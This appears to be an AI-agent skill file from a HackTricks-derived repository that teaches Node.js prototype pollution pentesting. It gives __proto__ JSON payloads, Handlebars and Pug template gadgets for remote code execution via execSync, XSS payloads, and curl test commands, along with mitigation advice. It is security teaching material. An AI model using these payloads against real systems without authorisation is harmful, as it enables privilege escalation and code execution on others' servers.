Hacktricks-skills nodejs-prototype-pollution-pentest
How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/nodejs-proto-prototype-pollution/nodejs-proto-prototype-pollution/SKILL.MDNode.js Prototype Pollution Pentesting
A comprehensive guide for identifying and exploiting prototype pollution vulnerabilities in Node.js applications.
What is Prototype Pollution?
Prototype pollution is a JavaScript vulnerability where an attacker can modify the
Object.prototype or other object prototypes, affecting all objects that inherit from them. This can lead to:
- Denial of Service (DoS) - Adding properties that break application logic
- Remote Code Execution (RCE) - Injecting code through template engines
- Privilege Escalation - Setting
on all user objectsadmin: true - Cross-Site Scripting (XSS) - Polluting HTML element properties
When to Use This Skill
Use this skill when:
- Testing Node.js applications for prototype pollution
- Analyzing deserialization vulnerabilities
- Investigating jQuery, lodash, or other library vulnerabilities
- Testing template engines (Handlebars, Pug, EJS)
- Reviewing code that uses recursive merge functions
- Analyzing JSON input handling
Quick Reference: Attack Vectors
1. Direct Object.prototype Pollution
// Pollute Object.prototype directly Object.prototype.isAdmin = true Object.prototype.toString = () => { alert("polluted") } // Via __proto__ Object.assign({}, { __proto__: { isAdmin: true } }) // Via constructor ({}).constructor.prototype.isAdmin = true
2. Constructor Prototype Pollution
// Pollute specific constructor Vehicle.prototype.beep = function() { console.log("beep") } // Via constructor.prototype example.constructor.prototype.greet = function() { console.log("hello") }
3. Array Index Pollution
// Pollute array by index a = [] a.constructor.prototype[1] = "yolo" b = [] console.log(b[1]) // "yolo"
4. HTML Element Pollution (Client-side XSS)
// Pollute innerHTML settings[root][innerHTML] = "<svg onload=alert(1)>" // Pollute ownerDocument to prevent overwrites settings[root][ownerDocument][body][innerHTML] = "<svg onload=alert(document.domain)>"
Common Vulnerable Libraries
jQuery (CVE-2019-11358)
// Vulnerable code $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) console.log({}.devMode) // true // Test payload { "__proto__": { "isAdmin": true, "devMode": true } }
Lodash (CVE-2018-3721, CVE-2019-10744)
// Vulnerable in versions < 4.17.11 _.merge({}, { __proto__: { admin: true } }) _.defaults({}, { __proto__: { admin: true } }) _.assign({}, { __proto__: { admin: true } }) // Test payload { "__proto__": { "admin": true, "role": "administrator" } }
Handlebars Template Engine
// AST-based pollution for RCE Object.prototype.type = "Program" Object.prototype.body = [ { type: "MustacheStatement", path: 0, params: [ { type: "NumberLiteral", value: "console.log(process.mainModule.require('child_process').execSync('id').toString())" } ], loc: { start: 0, end: 0 } } ] // HTTP payload { "__proto__.type": "Program", "__proto__.body": [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "process.mainModule.require('child_process').execSync('id')" }], "loc": { "start": 0, "end": 0 } }] }
Pug Template Engine
// AST-based pollution for RCE { "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync('id')" } }
Detection Techniques
1. Identify Vulnerable Patterns
Look for these code patterns:
// Recursive merge functions function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object') { target[key] = merge(target[key] || {}, source[key]) } else { target[key] = source[key] } } return target } // Object.assign with __proto__ Object.assign({}, userInput) // JSON.parse without validation const data = JSON.parse(request.body)
2. Check for Prototype Access
// Check if __proto__ is accessible console.log({}.__proto__) // Check if Object.prototype can be modified Object.prototype.test = true console.log({}.test) // true = vulnerable
3. Test Input Validation
// Test various payload formats { "__proto__": { "isAdmin": true } } { "constructor": { "prototype": { "isAdmin": true } } } { "__proto__": { "toString": "polluted" } }
Exploitation Workflow
Step 1: Reconnaissance
-
Identify the technology stack
- Check for Node.js, Express, Koa
- Identify JavaScript libraries (jQuery, lodash, etc.)
- Look for template engines (Handlebars, Pug, EJS)
-
Find input vectors
- JSON API endpoints
- Query parameters
- POST body data
- Cookie values
- URL parameters
Step 2: Initial Testing
# Test basic prototype pollution curl -X POST http://target/api/endpoint \ -H "Content-Type: application/json" \ -d '{"__proto__":{"isAdmin":true}}' # Test constructor pollution curl -X POST http://target/api/endpoint \ -H "Content-Type: application/json" \ -d '{"constructor":{"prototype":{"isAdmin":true}}}' # Test with different encodings curl -X POST http://target/api/endpoint \ -H "Content-Type: application/json" \ -d '{"__proto__":{"isAdmin":true}}'
Step 3: Verify Pollution
// Check if pollution worked console.log({}.isAdmin) // Should be true if polluted // Check for side effects console.log({}.toString) // Should be function if not polluted
Step 4: Exploit the Vulnerability
// Privilege escalation Object.prototype.isAdmin = true Object.prototype.role = "admin" // DoS Object.prototype.toString = () => { throw new Error("DoS") } // RCE via template engines Object.prototype.type = "Program" Object.prototype.body = [{ type: "MustacheStatement", path: 0, params: [{ type: "NumberLiteral", value: "require('child_process').execSync('id')" }] }]
Automated Testing Scripts
Use the bundled scripts for automated testing:
- Generate various prototype pollution payloadsscripts/generate-pollution-payloads.js
- Test endpoints for prototype pollutionscripts/test-endpoint.js
- Check for vulnerable library versionsscripts/check-library-versions.js
Mitigation Strategies
For Developers
-
Freeze Object.prototype
Object.freeze(Object.prototype) -
Use Object.create(null)
const safeObject = Object.create(null) -
Validate Input
function safeMerge(target, source) { for (let key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue } if (typeof source[key] === 'object') { target[key] = safeMerge(target[key] || {}, source[key]) } else { target[key] = source[key] } } return target } -
Use Map instead of Object
const data = new Map() data.set('key', 'value') -
Update Libraries
- lodash >= 4.17.11
- jQuery >= 3.4.0
- flat >= 3.0.0
For Pentesters
-
Use detection tools
- Server-Side-Prototype-Pollution-Gadgets-Scanner (Burp Suite)
- server-side-prototype-pollution (Burp Suite)
-
Check for known CVEs
- CVE-2019-11358 (jQuery)
- CVE-2018-3721, CVE-2019-10744 (lodash)
- CVE-2019-7609 (Kibana)
-
Test edge cases
- Different encodings
- Nested objects
- Array indices
- Constructor chains
References
- PortSwigger Research - Server-Side Prototype Pollution
- KTH LangSec - Server-Side Prototype Pollution Gadgets
- Doyensec - Prototype Pollution Gadgets Scanner
- Node.js Prototype Pollution Paper
Next Steps
After identifying a prototype pollution vulnerability:
- Document the finding - Include proof of concept
- Assess impact - Determine what can be achieved
- Test for RCE - Try template engine exploitation
- Check for privilege escalation - Test admin flags
- Look for chainable vulnerabilities - Combine with other issues
Use the scripts in this skill package to automate testing and generate payloads for your specific target.